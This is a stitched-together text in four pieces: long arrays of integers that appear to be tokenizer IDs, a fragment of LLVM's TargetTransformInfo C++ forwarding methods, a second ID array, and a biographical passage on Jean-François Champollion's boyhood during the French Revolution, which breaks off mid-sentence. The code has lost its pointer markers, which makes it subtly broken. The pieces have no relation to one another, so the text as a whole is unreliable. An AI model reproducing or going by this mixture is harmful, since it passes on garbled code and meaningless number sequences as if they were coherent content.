13, 11760, 13736, 13, 14026, 8932, 5785, 13, 187, 50254, 50266, 14446, 13, 5733, 83, 16929, 558, 187, 50276, 94, 187, 50276, 10975, 418, 7611, 3378, 39616, 3864, 12395, 1082, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 45, 7611, 3378, 39616, 3864, 12395, 1874, 187, 50276, 94, 187, 50276, 10975, 310, 2290, 7157, 366, 14344, 9, 2548, 475, 31742, 18, 13, 8078, 475, 31742, 19, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 2290, 7157, 366, 14344, 9, 31742, 18, 13, 16639, 19, 558, 187, 50276, 94, 187, 50276, 10975, 310, 44800, 7116, 1992, 24721, 382, 9, 10548, 2705, 475, 42, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 44800, 7116, 1992, 24721, 382, 9, 42, 558, 187, 50276, 94, 187, 50276, 10975, 897, 2446, 1082, 12970, 551, 1091, 3173, 446, 15, 2327, 2446, 1874, 748, 187, 50276, 10975, 310, 2548, 49883, 9, 2548, 475, 31742, 10, 12970, 551, 1091, 3173, 446, 15, 261, 2548, 49883, 9, 31742, 558, 748, 187, 50276, 10975, 943, 10987, 48061, 29153, 1082, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 11425, 10987, 48061, 29153, 1874, 187, 50276, 94, 187, 50276, 10975, 943, 10987, 48061, 29153, 2214, 29080, 9, 29080, 475, 36, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 11425, 10987, 48061, 29153, 2214, 29080, 9, 36, 558, 187, 50276, 94, 187, 50276, 10975, 897, 50184, 2648, 2214, 50184, 7865, 9, 11594, 708, 39, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 2327, 50184, 2648, 2214, 50184, 7865, 9, 39, 558, 187, 50276, 94, 535, 50276, 10790, 755, 29094, 1320, 5279, 2522, 9, 2548, 475, 31742, 13, 7301, 33340, 13, 187, 50254, 50266, 10975, 46685, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 788, 29094, 1320, 5279, 2522, 9, 31742, 13, 33340, 13, 46685, 558, 187, 50276, 94, 187, 50276, 10790, 755, 10996, 2287, 29094, 1320, 5279, 2522, 9, 6542, 7676, 29, 3474, 11740, 475, 31, 1780, 5943, 13, 187, 50254, 252, 50264, 50276, 10790, 657, 39, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 788, 10996, 2287, 29094, 1320, 5279, 2522, 9, 16523, 13, 657, 39, 558, 187, 50276, 94, 535, 50276, 10975, 8525, 38, 2276, 15219, 7050, 9624, 15900, 1082, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 4032, 8707, 38, 2276, 15219, 7050, 9624, 15900, 1874, 187, 50276, 94, 535, 50276, 10975, 8046, 35619, 8122, 6504, 282, 3292, 9, 10975, 32057, 15413, 10252, 86, 960, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 14760, 35619, 8122, 6504, 282, 3292, 9, 29724, 15413, 10252, 86, 960, 558, 187, 50276, 94, 187, 50276, 10267, 36, 2503, 48731, 10976, 8046, 10267, 36, 2503, 48731, 9, 10975, 12551, 5496, 13, 187, 50254, 979, 50263, 209, 7301, 1680, 26561, 36, 2503, 10, 1030, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 14760, 10267, 36, 2503, 48731, 9, 13967, 5496, 13, 1680, 26561, 36, 2503, 558, 187, 50276, 94, 187, 50276, 10975, 8046, 6504, 282, 9367, 11501, 15219, 1320, 1082, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 14760, 6504, 282, 9367, 11501, 15219, 1320, 1874, 187, 50276, 94, 187, 50276, 10975, 8046, 17031, 264, 6504, 282, 9367, 11501, 15219, 1320, 1082, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 14760, 17031, 264, 6504, 282, 9367, 11501, 15219, 1320, 1874, 187, 50276, 94, 187, 50276, 10975, 310, 7073, 15219, 1320, 29255, 4303, 28240, 8407, 1082, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 7073, 15219, 1320, 29255, 4303, 28240, 8407, 1874, 187, 50276, 94, 187, 50276, 10975, 4483, 46, 261, 2132, 21911, 11501, 265, 9, 2293, 11804, 5856, 708, 5856, 13, 187, 50254, 50266, 50276, 10790, 10210, 12175, 13, 10698, 22483, 16929, 13, 187, 50254, 50266, 50276, 10790, 1219, 5930, 13, 7301, 475, 29760, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 42905, 46, 261, 2132, 21911, 11501, 265, 9, 5856, 13, 10210, 12175, 13, 22483, 16929, 13, 187, 50254, 979, 50263, 209, 1219, 5930, 13, 20715, 558, 187, 50276, 94, 187, 50276, 14918, 26950, 22032, 18808, 755, 14918, 26950, 22032, 9, 10790, 4458, 31742, 12175, 688, 12871, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 788, 14918, 26950, 22032, 9, 4807, 31742, 12175, 688, 12871, 558, 187, 50276, 94, 187, 50276, 10975, 452, 29760, 52, 2274, 9, 2548, 475, 31742, 10, 12970, 551, 1091, 3173, 446, 15, 9802, 29760, 52, 2274, 9, 31742, 558, 748, 535, 50276, 10975, 310, 6739, 2503, 45435, 6892, 6653, 45175, 6739, 2503, 26561, 9, 2548, 475, 31742, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 6739, 2503, 45435, 6892, 6653, 45175, 6739, 2503, 26561, 9, 31742, 558, 187, 50276, 94, 535, 50276, 565, 755, 39, 5964, 81, 25997, 9, 2548, 475, 31742, 10, 12970, 551, 1091, 3173, 446, 15, 788, 39, 5964, 81, 25997, 9, 31742, 558, 748, 535, 50276, 565, 755, 4807, 36735, 6124, 5496, 25997, 9, 10790, 473, 5902, 13, 10698, 4031, 89, 13, 1030, 4097, 4807, 708, 36735, 13, 187, 50254, 50274, 2548, 475, 31742, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 788, 4807, 36735, 6124, 5496, 25997, 9, 48, 5902, 13, 4031, 89, 13, 17573, 13, 16639, 558, 187, 50276, 94, 187, 50276, 565, 755, 4807, 36735, 25997, 9, 3474, 4097, 4807, 708, 36735, 13, 8078, 475, 31742, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 788, 4807, 36735, 25997, 9, 36735, 13, 16639, 558, 187, 50276, 94, 187, 50276, 565, 755, 4807, 36735, 25997, 10548, 9, 10790, 473, 5902, 13, 10698, 4031, 89, 13, 1030, 4097, 4807, 708, 36735, 13, 187, 50254, 2548, 475, 31742, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 788, 4807, 36735, 25997, 10548, 9, 48, 5902, 13, 4031, 89, 13, 17573, 13, 16639, 558, 187, 50276, 94, 187, 50276, 565, 755, 4807, 36735, 25997, 43598, 249, 9, 43598, 12003, 1450, 1838, 309, 1838, 13, 10698, 4031, 89, 13, 1030, 4097, 4807, 708, 36735, 13, 187, 50254, 50276, 2548, 475, 31742, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 788, 4807, 36735, 25997, 43598, 249, 9, 42, 1838, 13, 4031, 89, 13, 17573, 13, 16639, 558, 187, 50276, 94, 187, 50276, 10790, 755, 8447, 4527, 5785, 8328, 9, 10790, 6550, 1838, 10, 1030, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 788, 8447, 4527, 5785, 8328, 9, 4947, 1838, 558, 187, 50276, 94, 187, 50276, 10790, 755, 16601, 4947, 2214, 2548, 9, 10975, 17811, 13, 8078, 475, 31742, 426, 28471, 10, 1030, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 788 ]	, ScalarEvolution &SE, AssumptionCache &AC, TargetLibraryInfo TLI, DominatorTree DT, const LoopAccessInfo LAI) override { return Impl.preferPredicateOverEpilogue(L, LI, SE, AC, TLI, DT, LAI); } bool isLegalAddImmediate(int64_t Imm) override { return Impl.isLegalAddImmediate(Imm); } bool isLegalICmpImmediate(int64_t Imm) override { return Impl.isLegalICmpImmediate(Imm); } bool isLegalAddressingMode(Type Ty, GlobalValue BaseGV, int64_t BaseOffset, bool HasBaseReg, int64_t Scale, unsigned AddrSpace, Instruction I) override { return Impl.isLegalAddressingMode(Ty, BaseGV, BaseOffset, HasBaseReg, Scale, AddrSpace, I); } bool isLSRCostLess(TargetTransformInfo::LSRCost &C1, TargetTransformInfo::LSRCost &C2) override { return Impl.isLSRCostLess(C1, C2); } bool canMacroFuseCmp() override { return Impl.canMacroFuseCmp(); } bool canSaveCmp(Loop L, BranchInst BI, ScalarEvolution SE, LoopInfo LI, DominatorTree DT, AssumptionCache AC, TargetLibraryInfo LibInfo) override { return Impl.canSaveCmp(L, BI, SE, LI, DT, AC, LibInfo); } bool shouldFavorPostInc() const override { return Impl.shouldFavorPostInc(); } bool shouldFavorBackedgeIndex(const Loop L) const override { return Impl.shouldFavorBackedgeIndex(L); } bool isLegalMaskedStore(Type DataType, MaybeAlign Alignment) override { return Impl.isLegalMaskedStore(DataType, Alignment); } bool isLegalMaskedLoad(Type DataType, MaybeAlign Alignment) override { return Impl.isLegalMaskedLoad(DataType, Alignment); } bool isLegalNTStore(Type DataType, Align Alignment) override { return Impl.isLegalNTStore(DataType, Alignment); } bool isLegalNTLoad(Type DataType, Align Alignment) override { return Impl.isLegalNTLoad(DataType, Alignment); } bool isLegalMaskedScatter(Type DataType, MaybeAlign Alignment) override { return Impl.isLegalMaskedScatter(DataType, Alignment); } bool isLegalMaskedGather(Type DataType, MaybeAlign Alignment) override { return Impl.isLegalMaskedGather(DataType, Alignment); } bool isLegalMaskedCompressStore(Type DataType) override { return Impl.isLegalMaskedCompressStore(DataType); } bool isLegalMaskedExpandLoad(Type DataType) override { return Impl.isLegalMaskedExpandLoad(DataType); } bool hasDivRemOp(Type DataType, bool IsSigned) override { return Impl.hasDivRemOp(DataType, IsSigned); } bool hasVolatileVariant(Instruction I, unsigned AddrSpace) override { return Impl.hasVolatileVariant(I, AddrSpace); } bool prefersVectorizedAddressing() override { return Impl.prefersVectorizedAddressing(); } int getScalingFactorCost(Type Ty, GlobalValue BaseGV, int64_t BaseOffset, bool HasBaseReg, int64_t Scale, unsigned AddrSpace) override { return Impl.getScalingFactorCost(Ty, BaseGV, BaseOffset, HasBaseReg, Scale, AddrSpace); } bool LSRWithInstrQueries() override { return Impl.LSRWithInstrQueries(); } bool isTruncateFree(Type Ty1, Type Ty2) override { return Impl.isTruncateFree(Ty1, Ty2); } bool isProfitableToHoist(Instruction I) override { return Impl.isProfitableToHoist(I); } bool useAA() override { return Impl.useAA(); } bool isTypeLegal(Type Ty) override { return Impl.isTypeLegal(Ty); } bool shouldBuildLookupTables() override { return Impl.shouldBuildLookupTables(); } bool shouldBuildLookupTablesForConstant(Constant C) override { return Impl.shouldBuildLookupTablesForConstant(C); } bool useColdCCForColdCall(Function &F) override { return Impl.useColdCCForColdCall(F); } unsigned getScalarizationOverhead(Type Ty, bool Insert, bool Extract) override { return Impl.getScalarizationOverhead(Ty, Insert, Extract); } unsigned getOperandsScalarizationOverhead(ArrayRef<const Value > Args, unsigned VF) override { return Impl.getOperandsScalarizationOverhead(Args, VF); } bool supportsEfficientVectorElementLoadStore() override { return Impl.supportsEfficientVectorElementLoadStore(); } bool enableAggressiveInterleaving(bool LoopHasReductions) override { return Impl.enableAggressiveInterleaving(LoopHasReductions); } MemCmpExpansionOptions enableMemCmpExpansion(bool OptSize, bool IsZeroCmp) const override { return Impl.enableMemCmpExpansion(OptSize, IsZeroCmp); } bool enableInterleavedAccessVectorization() override { return Impl.enableInterleavedAccessVectorization(); } bool enableMaskedInterleavedAccessVectorization() override { return Impl.enableMaskedInterleavedAccessVectorization(); } bool isFPVectorizationPotentiallyUnsafe() override { return Impl.isFPVectorizationPotentiallyUnsafe(); } bool allowsMisalignedMemoryAccesses(LLVMContext &Context, unsigned BitWidth, unsigned AddressSpace, unsigned Alignment, bool Fast) override { return Impl.allowsMisalignedMemoryAccesses(Context, BitWidth, AddressSpace, Alignment, Fast); } PopcntSupportKind getPopcntSupport(unsigned IntTyWidthInBit) override { return Impl.getPopcntSupport(IntTyWidthInBit); } bool haveFastSqrt(Type Ty) override { return Impl.haveFastSqrt(Ty); } bool isFCmpOrdCheaperThanFCmpZero(Type Ty) override { return Impl.isFCmpOrdCheaperThanFCmpZero(Ty); } int getFPOpCost(Type Ty) override { return Impl.getFPOpCost(Ty); } int getIntImmCodeSizeCost(unsigned Opc, unsigned Idx, const APInt &Imm, Type Ty) override { return Impl.getIntImmCodeSizeCost(Opc, Idx, Imm, Ty); } int getIntImmCost(const APInt &Imm, Type Ty) override { return Impl.getIntImmCost(Imm, Ty); } int getIntImmCostInst(unsigned Opc, unsigned Idx, const APInt &Imm, Type Ty) override { return Impl.getIntImmCostInst(Opc, Idx, Imm, Ty); } int getIntImmCostIntrin(Intrinsic::ID IID, unsigned Idx, const APInt &Imm, Type Ty) override { return Impl.getIntImmCostIntrin(IID, Idx, Imm, Ty); } unsigned getNumberOfRegisters(unsigned ClassID) const override { return Impl.getNumberOfRegisters(ClassID); } unsigned getRegisterClassForType(bool Vector, Type *Ty = nullptr) const override { return Impl.get
[ 1552, 310, 253, 13631, 5406, 273, 13089, 44987, 534, 253, 26153, 860, 5861, 27, 247, 1429, 17800, 562, 275, 253, 3644, 13, 22802, 432, 3722, 285, 3515, 949, 253, 1984, 14, 68, 3358, 1314, 47406, 273, 247, 43976, 4182, 2419, 2819, 323, 3095, 13, 3780, 13, 281, 9667, 779, 984, 344, 2550, 1086, 6894, 275, 8658, 13508, 3000, 15, 187, 187, 1719, 329, 5642, 21247, 13, 344, 1057, 417, 1132, 15, 187, 187, 688, 253, 4055, 273, 253, 6278, 275, 2667, 70, 317, 627, 310, 247, 1149, 408, 26410, 15, 1244, 327, 253, 10699, 273, 247, 2419, 2822, 23431, 2555, 279, 434, 1128, 8656, 598, 13, 17421, 253, 24396, 10015, 285, 34577, 273, 3289, 5308, 1128, 9088, 310, 1529, 47485, 432, 2098, 661, 273, 5534, 285, 247, 6951, 27, 346, 55, 587, 30845, 41965, 1476, 253, 2151, 11557, 347, 597, 7450, 616, 346, 40312, 14381, 3, 3579, 15, 346, 21727, 9306, 285, 8106, 5492, 2, 496, 253, 1416, 273, 17843, 13, 3150, 1476, 187, 187, 3, 4041, 625, 2774, 13, 38321, 253, 12138, 890, 254, 1476, 247, 2872, 3226, 31791, 347, 703, 23490, 281, 2740, 1959, 13, 14270, 5972, 285, 10805, 281, 617, 15746, 15, 346, 795, 3546, 6443, 64, 795, 328, 64, 795, 25094, 26200, 346, 703, 2318, 6594, 13, 34452, 281, 320, 30979, 8502, 22825, 327, 253, 32973, 15, 1198, 253, 36285, 273, 7406, 34594, 556, 816, 644, 11407, 285, 617, 1390, 3000, 452, 2489, 247, 17877, 16391, 275, 247, 2471, 14, 10600, 16187, 2659, 15, 187, 187, 29140, 23431, 2555, 279, 310, 417, 17875, 323, 824, 3958, 15, 754, 310, 1512, 7156, 90, 390, 2010, 1128, 8701, 643, 1930, 1128, 248, 310, 1512, 4956, 285, 3511, 14, 5142, 11712, 281, 564, 2112, 342, 667, 2165, 1160, 598, 407, 2571, 15, 380, 2151, 12009, 253, 1863, 27914, 5006, 342, 521, 1781, 3644, 2927, 285, 6966, 273, 2806, 4707, 285, 12680, 2048, 15, 1244, 344, 7819, 432, 731, 347, 973, 13, 1469, 521, 1211, 1039, 15, 187, 187, 8389, 3392, 310, 1620, 1728, 15, 496, 2069, 824, 347, 841, 13, 352, 310, 417, 3477, 323, 247, 5098, 7707, 281, 34298, 15, 6491, 4510, 247, 4667, 273, 12682, 390, 247, 34890, 939, 90, 11152, 281, 5098, 15, 329, 1930, 273, 9132, 310, 625, 281, 253, 1127, 685, 253, 15799, 273, 253, 36452, 390, 5536, 14118, 432, 253, 6105, 24593, 15, 187, 187, 43453, 310, 9101, 15, 380, 1270, 3554, 382, 31274, 10225, 1321, 310, 2197, 281, 2471, 342, 253, 5139, 254, 13, 795, 510, 15033, 556, 642, 878, 273, 368, 26200, 14673, 382, 13, 24072, 13, 29875, 1128, 455, 3150, 281, 253, 1072, 35531, 15, 380, 39011, 757, 12776, 41845, 292, 13, 5747, 521, 22564, 40372, 263, 13, 310, 47214, 751, 247, 4956, 5893, 15, 5952, 17197, 275, 253, 31504, 13, 439, 25383, 407, 521, 3858, 13, 320, 13073, 285, 275, 391, 3544, 13, 344, 1335, 869, 6168, 1037, 26986, 2706, 521, 7714, 13, 795, 52, 48411, 273, 247, 23041, 5270, 273, 253, 28225, 273, 253, 8801, 14559, 8291, 247, 789, 344, 588, 1379, 342, 779, 281, 253, 32973, 15, 733, 310, 247, 673, 417, 323, 11727, 13, 533, 323, 2250, 15, 1244, 594, 13, 23431, 2555, 279, 268, 10133, 13, 48682, 1428, 5098, 7707, 13, 3936, 281, 253, 13939, 15, 187, 187, 36751, 44987, 8, 3101, 13, 35956, 1070, 407, 31747, 1204, 13, 30885, 617, 1897, 387, 247, 3497, 37159, 253, 6891, 8805, 33924, 15, 4952, 1078, 253, 10532, 13, 703, 574, 26924, 432, 253, 1533, 15, 48706, 281, 1239, 390, 3630, 13, 347, 2221, 2376, 784, 347, 247, 25204, 13, 703, 12516, 617, 6009, 275, 253, 20925, 793, 447, 285, 31590, 21791, 336, 22895, 665, 452, 3982, 670, 253, 28065, 15, 1198, 849, 2010, 533, 342, 616, 1361, 812, 352, 452, 1705, 281, 1509, 326, 703, 1128, 66, 8334, 314, 13, 546, 677, 456, 3416, 273, 14327, 14, 17182, 13, 703, 13, 665, 574, 5262, 617, 1897, 13828, 323, 2471, 1128, 10178, 1677, 4201, 281, 247, 3405, 2784, 13, 5875, 3347, 32, 1244, 352, 310, 984, 273, 436, 16909, 326, 13, 281, 617, 13, 253, 1495, 273, 13089, 44987, 3133, 3509, 37993, 15, 733, 37778, 407, 253, 6293, 273, 617, 717, 86, 6639, 285, 1018, 983, 15, 32005, 2920, 13, 703, 28654, 617, 3347, 1756, 15, 2091, 344, 12941, 617, 8334, 14, 4461, 13, 703, 26986, 2706, 13089, 44987, 281, 617, 13, 47012, 285, 33632, 689, 779, 342, 271, 44089, 534, 1937, 16443, 253, 5006, 15, 187, 187, 4531, 1411, 521, 3101, 434, 3644, 18055, 285, 38969, 13, 521, 3392, 434, 5098, 1646, 281, 3959, 1708, 15, 1292, 352, 310, 247, 1708, 5868, 13089, 44987, 1128, 1542, 2167, 344, 310, 1024, 4314, 1107, 1711, 13, 344, 1335, 2550, 1239, 15, 3032, 4730, 556, 644, 4336, 22459, 15, 380, 26153, 860, 665, 574, 10256, 521, 4929, 556, 1048, 1580, 18436, 253, 2586, 15, 3032, 4929, 36063, 13, 253, 760, 581, 281, 5207, 13089, 44987, 476, 1614, 1309, 436, 9810, 42934, 673, 13, 556, 644, 2197, 1977, 281, 1361, 1329, 253, 2021, 15, 754, 556, 1669, 2667, 70, 317, 323, 34450, 706, 282, 13, 247, 2846, 2620, 3038, 13392, 13, 281, 789, 627, 347, 247, 21334, 13, 10430, 521, 479, 3800, 20375, 1728, 15, 187, 187, 36751, 44987, 310, 327, 521, 1211, 342, 767, 6667, 1900, 1078, 779, 15, 1916, 320, 247, 637, 310, 281, 1239, 13, 281, 3153, 407, 1921, 13, 407, 253, 5098, 534, 7522, 1046, 7145, 285, 10056, 1106, 15, 3105, 281, 1239, 310, 281, 320, 247, 3416, 13, 281, 23031, 275, 247, 15198, 763, 1533, 273, 18055, 285, 13702, 15, 3032, 3101, 13, 6294, 275, 407, 253, 1740, 8099, 273, 617, 8334, 14, 4461, 13, 4852, 247, 1495, 326, 310, 417, 4751, 1966, 15, 187, 187, 16812, 13, 703, 310, 417, 247, 4677, 665, 476, 320, 3365, 11511, 15, 1310, 703, 497, 13, 627, 651, 320, 642, 795, 36510, 8291, 13089, 44987, 651, 417, 452, 281, 32645, 594, 1315, 39904, 432, 617, 1650, 15, 187, 187, 1552, 4916, 253, 391, 3209, 273, 521, 8920, 27, 3032, 3101, 434, 2853, 2562, 1974, 310, 1097, 253, 2603, 273, 617, 11961, 285, 253, 2603, 273, 617, 1612, 15, 2726, 617, 30712, 285, 617, 24861, 13, 703, 310, 275, 5181, 342, 253, 40710, 273, 253, 10325, 13, 390, 594, 352, 3133, 281, 253, 5006, 15, 380, 5621, 273, 1495, 285, 2471, 6604, 275, 278, 16630, 1485, 386, 569, 15, 187, 187, 1147, 310, 347, 604, 13742, 19031, 84, 13089, 44987, 2584, 521, 3101, 434, 2853, 2562, 1974, 13, 44457, 272, 779, 285, 564, 6748, 779, 281, 3819, 896, 15, 1244, 344, 1057, 3819, 896, 27, 48423, 15, 754, 23490, 281, 9798, 2994, 281, 1239, 15, 754, 21354, 253, 4876, 273, 253, 30156, 347, 604, 344, 497, 30547, 7695, 7968, 13, 10985, 3239, 846, 3239, 342, 3000, 534, 452, 642, 4495, 323, 779, 15, 1244, 840, 581, 1388, 13, 23573, 407, 253, 1607, 257, 11656, 1430, 273, 253, 4028, 13, 344, 439, 255, 1336, 253, 5253, 3835, 273, 581, 273, 521, 3392, 434, 1984, 12866, 15, 1244, 840, 344, 439, 255, 1336, 1529, 13, 39137, 1170, 12536, 1919, 247, 3499, 32284, 21133, 3249, 3515, 285, 27125, 779, 715, 15910, 15, 187, 187, 8683, 1139, 46199, 10113, 13, 344, 32010, 521, 806, 27105, 273, 10253, 15, 187, 187, 34, 31590, 10524, 365, 273, 33017, 278, 1022, 285, 20555, 16606, 398, 12941, 2667, 70, 317, 15, 329, 12556, 310, 33517, 387, 253, 5024, 273, 3874, 285, 247, 260, 4586, 43076, 275, 253, 6278, 27, 346, 795, 510, 2926, 273, 596, 66, 12589, 84, 273, 10253, 2, 1244, 273, 253, 24011, 659, 15, 4744, 2, 1244, 273, 48595, 273, 253, 13438, 2, 659, 15, 25084, 253, 5418, 2, 659, 15, 16358, 2, 12757, 273, 253, 31654, 2, 5794, 41939, 273, 10253, 2, 30902, 273, 253, 380, 5830, 301, 835, 776, 806, 34955, 7799, 2656, 26200, 346, 187, 187, 4509, 673, 4293, 358, 10317, 13, 824, 492, 1011, 265, 452, 2684, 275, 253, 1270, 5798, 742, 83, 932, 273, 6181, 27, 9908, 7120, 13, 20075, 8711, 284, 13, 13451, 432, 253, 4852, 273, 253, 39665, 15, 1292, 1580, 253, 10532, 13, 20242, 310, 562, 273, 8142, 15, 1707, 310, 247, 14964, 273, 253, 6413, 16688, 285, 3239, 1103, 4070, 4263, 253, 2656, 22192, 273, 29382, 13, 533, 841, 24196, 38209, 403, 23075, 8312, 15, 1244, 594, 253, 10524, 365, 310, 3777, 281, 15153, 670, 253, 31504, 13, 4720, 20948, 275, 253, 1355, 25432, 2846, 273, 2667, 70, 317, 835, 253, 260, 4586, 32113, 253, 2329, 342, 253, 4454, 273, 22437, 39665, 285, 34955, 1048, 3846, 285, 28065, 14, 21107, 617, 27542, 28, 247, 1048, 1618, 281, 534, 253, 7205, 2789, 2119, 253, 260, 4586, 11323, 13, 347, 247, 346, 6553, 1381, 187, 187, 64, 1898, 253, 18465, 16172, 6147, 32436, 26200, 187, 187, 1147, 310, 247, 19080, 499, 899, 1580, 4214, 32436, 434, 1416, 310, 327, 4130, 434, 11233, 816, 1024, 15, 754, 556, 816, 2489, 253, 346, 49320, 1528, 273, 15033, 449, 24161, 512, 13653, 13, 344, 556, 16473, 253, 29894, 273, 253, 354, 14, 2163, 1116, 382, 3752, 26886, 275, 9972, 1078, 597, 574, 247, 4839, 281, 2983, 253, 747, 23822, 327, 5112, 8825, 15, 1737, 1057, 352, 2647, 326, 253, 32436, 273, 253, 1132, 310, 417, 247, 2087, 533, 247, 16172, 6147, 665, 4962, 275, 10253, 15342, 4289, 1107, 1078, 32, 733, 310, 7479, 281, 10551, 253, 13399, 512, 2035, 285, 627, 2686, 310, 247, 4602, 875, 253, 767, 28955, 790, 27, 380, 2872, 49480, 9593, 2087, 369, 4907, 846, 253, 24032, 313, 263, 846, 271, 18796, 665, 369, 4907, 846, 779, 534, 253, 19080, 7205, 273, 253, 10524, 365, 21936, 310, 253, 1072, 2181, 481, 187, 187, 510, 7205, 434, 39609, 403, 1175, 27, 380, 12556, 310, 4541, 14998, 342, 247, 9539, 273, 253, 14338, 13, 2190, 731, 13089, 44987, 285, 521, 4929, 36063, 13, 665, 556, 4895, 1728, 323, 247, 4143, 15, 10867, 41524, 16264, 896, 3002, 793, 403, 10912, 327, 253, 30162, 14, 14326, 3924, 285, 13, 342, 247, 36583, 273, 260, 3445, 932, 13, 13089, 44987, 310, 20870, 281, 247, 13438, 17836, 13, 512, 7537, 285, 8467, 15, 187, 187, 34, 4318, 432, 3212, 253, 892, 14381, 90, 38811, 5841, 562, 27, 346, 4678, 14, 4949, 367, 9761, 8712, 3750, 13, 247, 35295, 47683, 323, 521, 18465, 1495, 2, 2325, 4949, 271, 23087, 665, 23031, 84, 327, 6149, 964, 964, 17212, 187, 187, 2512, 310, 247, 20035, 1981, 273, 13178, 347, 247, 10086, 13, 23646, 2084, 4677, 1128, 79, 6840, 533, 323, 4707, 14133, 285, 3496, 790, 1128, 68, 2040, 5200, 4830, 253, 3924, 15, 496, 253, 20586, 13044, 407, 253, 7263, 2706, 13, 521, 1046, 21850, 310, 2849, 1245, 3578, 8089, 15, 187, 187, 3, 4678, 4949, 849, 344, 49371, 265, 521, 15447, 1476, 187, 187, 8836, 3501, 562, 347, 344, 364, 2824, 2994, 275, 247, 28080, 3847, 15, 754, 310, 3517, 6107, 342, 2614, 313, 20094, 521, 1211, 390, 326, 273, 247, 1499, 4551, 2122, 5893, 310, 247, 5702, 4279, 481, 6610, 344, 12326, 2994, 327, 253, 3216, 281, 4600, 15, 187, 187, 34, 3601, 1398, 1727, 327, 534, 247, 5389, 3416, 310, 16264, 13, 617, 2454, 8763, 275, 617, 3564, 13, 617, 2716, 14, 79, 6840, 2133, 3531, 2584, 253, 36515, 35295, 15, 187, 187, 3, 1147, 310, 253, 26442, 1302, 41080, 596, 66, 12589, 84, 2, 23017, 617, 2, 5531, 13, 5321, 617, 13, 367, 9761, 8712, 3750, 1476, 187, 187, 27347, 281, 521, 4669, 13, 367, 9761, 8712, 3750, 2304, 2706, 2439, 253, 3924, 347, 253, 896, 3002, 793, 403, 4391, 323, 38783, 13, 247, 1533, 314, 2846, 47683, 323, 697, 33267, 285, 32976, 285, 665, 373, 15, 187, 187, 1989, 13089, 44987, 1057, 417, 923, 253, 1551, 273, 253, 1132, 27, 849, 367, 9761, 8712, 3750, 28472, 596, 66, 12589, 84, 28, 849, 344, 10316, 617, 281, 253, 13438, 835, 253, 17770, 1495, 273, 4331, 593, 26280, 617, 28, 285, 849, 253, 35295, 25068, 521, 6009, 28279, 13, 7263, 16390, 407, 521, 32225, 323, 253, 5389, 24032, 344, 556, 3562, 964, 964, 964, 187, 187, 510, 5006, 310, 275, 1529, 1533, 27, 754, 556, 16487, 264, 3846, 1977, 432, 18349, 15, 7335, 1947, 751, 247, 34707, 273, 20951, 689, 521, 4929, 434, 9215, 13, 344, 310, 4824, 562, 715, 253, 5412, 2360, 2329, 15, 187, 187, 1898, 436, 310, 24762, 273 ]	This is the striking picture of Jean François which the Abbé records: a child crying out in the dark, jumping from bed and running through the book-crammed corridors of a gloomy house looking for someone, anyone, to console him because he cannot decipher inscrutable words. AS A CHILD, he does not play. In the center of the square in Figeac there is a guillotine. And on the roof of a house near Champollion's—high up, amid the drying clothes and stacks of firewood—there is another fashioned from planks of wood and a chair: "Vile aristocrats!" the children shout as they push their "victims" forward. "Damned and guilty race! In the name of liberty, die!" "One more moment, Monsieur the Executioner!" a young girl cries as she struggles to break free, crossing herself and falling to her knees. " _Encore_ _un_ _moment!_ " she pleads, pretending to be Madame Du Barry on the scaffold. For the mistress of Louis XV has just been executed and her last words have become a cruel joke in a death-obsessed land. Young Champollion is not recruited for such games. He is too dreamy or else—his other side—he is too wild and hot-tempered to go along with any game made up by others. The children reject the swarthy boy with his large dark eyes and shock of black hair and intense expression. And he turns from them as well, going his own way. His father is never home. In times such as these, it is not easy for a bookseller to thrive. People prefer a pair of shoes or a scrawny chicken to books. A side of meat is more to the point than the wisdom of the Greeks or heavy volumes from the church fathers. Learning is suspect. The great chemist Lavoisier is sent to death with the jeer, _The Revolution has no need of you!_ Naturalist, historian, philosopher—all die to the same refrain. The mathematician Condorcet, despite his revolutionary fervor, is hunted like a wild animal. Found hiding in the countryside, shunned by his friends, bearded and in rags, he still pathetically clutches his manuscript, _Sketch of a Historic Table of the Progress of the Human Spirit,_ a work he will take with him to the scaffold. It is a time not for philosophy, but for action. And so, Champollion père, impoverished bookseller, takes to the roads. Jean François' mother, crippled by rheumatism, spends her days at a window overlooking the narrow stone courtyard. Even before the revolution, she had withdrawn from the world. Unable to read or write, as superstitious as a witch, she puts her faith in the Gypsies and wandering sorcerers who have brought about the miracle. For how else but with their help could it have come to pass that she—a sickly, enervated woman of forty-six, she, who had spent her days preparing for death—had given birth to a strapping, healthy son? And it is because of this mystery that, to her, the life of Jean François seems precarious. It hangs by the thread of her amulets and charms. Fearfully, she watches her son grow. When he visits her sick-room, she clutches Jean François to her, weeping and praying over him with an anguish which oppresses the boy. Set against his mother's dark fears and passions, his father's books seem to offer light. But it is a light denied Jean François—for though he is now eight years old, he still cannot read. His education has been completely neglected. The Abbé who had taught his brother has long since fled the country. His brother Jacques, the only one to whom Jean François can turn during this torturous time, has been sent away to help support the family. He has left Figeac for Grenoble, a city five hours distant, to work there as a clerk, sending his meager earnings home. Jean François is on his own with two examples always before him. To be a man is to read, to live by reason, by the books which fill every corner and passageway. Not to read is to be a woman, to dwell in a feverish world of fears and dreams. His mother, shut in by the four walls of her sick-room, lives a life that is not fully human. Still, she is not a figure who can be simply dismissed. If she were, there would be no 